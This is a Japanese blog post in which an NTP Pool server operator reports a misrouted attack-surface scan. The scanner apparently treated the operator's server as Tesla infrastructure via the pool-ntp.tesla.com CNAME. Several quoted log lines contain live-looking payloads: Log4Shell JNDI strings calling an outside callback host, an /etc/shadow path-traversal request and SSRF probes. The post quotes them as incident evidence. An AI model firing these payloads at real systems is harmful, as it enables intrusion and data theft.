私はTesla, Inc.によってサイバー攻撃を受けています

Tesla社からサイバー攻撃を受けている

2026-09-13

UPDATE: RESOLVED

AssetnoteのPatrik氏から丁寧なメッセージを受け取り、問題は解決しました。ありがとうございます！

IPv4インターネットのダークダンジョンにあるものはすべて、ドライブバイ・スキャナートラフィックの砲撃や、時折奇妙にしつこい攻撃者の標的となることは珍しくありませんが、nginxのログを調べていると奇妙なことに気づきました。3つの特定のIPアドレスからの執拗な攻撃トラフィックで、奇妙な点は、それらがpool-ntp.tesla.comからのHostまたはRefererヘッダーを付けて到着し、Assetnoteのユーザーエージェントを運び、AssetnoteのコールバックURLへのSSRFを試みていたことです。

35.168.63.24 - - [13/Sep/2026:01:14:31 -0700] "GET /?a=%3Cscript%20src=${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}>alert()%3C%2Fscript%3E HTTP/1.1" 299 817 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 ${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}" host=pool-ntp.tesla.com

トラフィックは、54.165.75.96、35.168.63.24、52.44.200.251の3つの特定のスキャナーから来ました。それらはすべてAmazon Web Services AS（AMAZON-AES）に属しています。

Assetnoteは、現在マーケティング資料ではSearchlight Cyberと呼ばれる正当な攻撃サーフェス管理ツールであり、顧客の資産に対して自動チェックを実行するために、このような継続的な脅威露出スキャナーを使用しています。これが実際のAssetnoteトラフィックであると仮定すると（彼らは実際にAWSを使用しているので、それは確認できます）、彼らは私をTeslaの内部資産と間違えているに違いありません。

これがどのように起こったか

Teslaはpool-ntp.tesla.comをpool.ntp.orgへのCNAMEとして公開しています。pool.ntp.orgはNTP Pool、つまりボランティアNTPサーバーのラウンドロビンであり、私はその一部です。（余談ですが、彼らはベンダーゾーンを使用すべきであり、tesla.comの下に独自のCNAMEを使用すべきではありません。）

推測：Assetnoteはtesla.comの下で見つかるすべてを収集し、pool-ntp.tesla.com（これはpool.ntp.orgにCNAMEされ、私のマシン67.215.249.229に解決される可能性があります）を含めました。資産インベントリはこれをTeslaの資産として保存し、私（見知らぬ人）にエクスプロイトを投げつけ始めました。

私はこの件についてTeslaにメールを送りましたが、まだ返信はありませんでした。

こんにちは、

Teslaの脆弱性ではありませんし、何も求めているわけではありませんが、意図せず迷惑をかけている可能性があることをお伝えしたかったのです。

私のサーバーはNTP Poolのメンバーです。過去約2日間、2つのスキャンホスト（<54.165.75.96>と<35.168.63.24>）から、UA <Assetnote/1.0.0 (ExposureScan)>、多くのテンプレート化されたエクスプロイトペイロード付きで、約8,000件のリクエストを受け取りました。

使用されたすべてのペイロードは、ターゲットホスト名として<pool-ntp.tesla.com>を使用していました。内部サブドメインがあり、それがNTP Poolメンバーサーバーにラウンドロビンで解決されると想定していますが、その大部分はTeslaのものではありません。あなたの資産検出は、<pool-ntp.tesla.com>が解決できるすべてのIPを、アクティブスキャンの対象範囲内として意図せず含めているようです。

ここでは害はありませんが、見知らぬ人のIPにエクスプロイトを投げつけていることを警告したかったのです。

必要であれば、詳細なログを共有できます。

Robin
dreamstation.systems / 67.215.249.229

彼らのトラフィック

彼らは私に対して、パス・トラバーサル、ウェブシェルアップロード、ソフトウェア内部のプロービング、WordPressやその他のCMS管理エンドポイントのプロービング、SSRF、Log4Shellなど、さまざまなエクスプロイトを試みました。

コールバック試行もありました。989件のリクエストはLog4ShellおよびText4Shell検出のためにassetnote-callback.comホスト名を埋め込み、114件はSSRFのためにcanary.assetnotessrf.comを名乗っていました。

GET /solr/admin/collections?action=${jndi:ldap://solr.${hostName}.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/a}

説明がつかない面白い点は、15件のリクエストがlogin.solarcity.comというHostヘッダーを持ち、すべてGET /(S(x))/b/(S(x))in/System.Web.Mvc.dllをリクエストしていたことです。これは、/b/(S(x))in/を/bin/に解決しようとするASP.NETのトリックだと思います。

Hostヘッダー以外にも、いくつかの興味深い情報を見つけました。Refererヘッダー、URL、クエリ文字列をスキャンすると、テンプレート自体に埋め込まれたホスト名が見つかりました。

GET /calendars/admin@lowlevelaccess.jlg.com/calendar/../../../mail/lowlevelaccess.jlg.com/admin/.x-attachment-1-y/new/../../../../../../../../../etc/shadow

その他に気づいたサードパーティのホスト名には、servicemcdonalds.com、saferas.com、rsmafghanistan.af、enrichcs.com.au、escience2010.org、al-forno.com.au、disneyfineart.comなどがありました。

RFC 1918アドレスも、あるプローブのRefererに出現しました。

GET /internal/v2/config/mps_secret/ADM_SESSIONID
Referer: http://192.168.178.222/admin_ui/mas/ent/html/main.html

スキャナーは、理由もなく見つけたすべてのポートでHTTPで通信しようとします。私のSSH、Postfix、Dovecotは大量のジャンクトラフィックを受け取りました。

9月8日、pool-ntp.tesla.com Hostに対して、非標準のステータスコート299（スキャナーログを読む人間が注意を引くことを期待して）で応答し始め、すべてのパスにこの通知を本文として表示しました。

これはTeslaのインフラではありません！

これは趣味のNTP、Web、およびその他のサーバーです。

過去数日間、2つのAssetnoteスキャンホスト（54.165.75.96と35.168.63.24）から、pool-ntp.tesla.com Host宛に大量のリクエストを受け取っています。

pool-ntp.tesla.comはpool.ntp.orgにCNAMEされ、これは数千のボランティアNTPサーバーにラウンドロビンされます。あなたのスキャナーは私のサーバーに引っかかってしまったようです。

あなたは私に害を与えていませんが、見知らぬ人のIPにエクスプロイトを投げつけています。

この件についてVulnerabilityReporting@tesla.comにメールしました。もしよろしければ、robin@dreamstation.systemsまでメールをいただければ、詳細なログを提供できます。

残念ながら、これまでのところ行動は変わらなかったようです。

彼らの攻撃はどれも成功しませんでした。これは誇りに思います。

8月21日以降、Assetnoteホストから50,000件以上のリクエストを受け取っています。トラフィックはまだ止んでいません。後でこの投稿を更新します。

（はい、IPアドレスをファイアウォールでブロックすることもできますが、これを観察するのは非常に面白く、Teslaの誰かに何が起こっているのかを知ってもらいたいのです。）

プール全体で行っているのか？

NTP Poolサーバーオペレーターのコミュニティボードで、NTPサーバーと同じIPでWebサーバーを運用している他の人がこれを見ているか尋ねました。オペレーターの一人、Matt Nordhoff氏は、8月15日から同様のトラフィックを見ていると述べています。

$ sudo rg -zFI pool-ntp.tesla.com access.log* | awk '{print $1}' | sort | uniq -c | sort -gr | head
   9126 54.165.75.96
   7461 35.168.63.24
   6123 52.44.200.251
     11 64.227.103.50
      6 146.190.142.16
      4 3.101.230.148
      3 3.88.188.142
      3 3.101.216.68
      2 54.213.2.72
      2 54.202.10.40

しかし、他の誰も何も言っていません。彼らが毎回pool-ntp.tesla.comを再解決して、ジオロケーションマジックで到達できるすべてにアクセスしているのか、それとも少数のプールIPを収集してそれらを叩いているだけなのか疑問に思っています。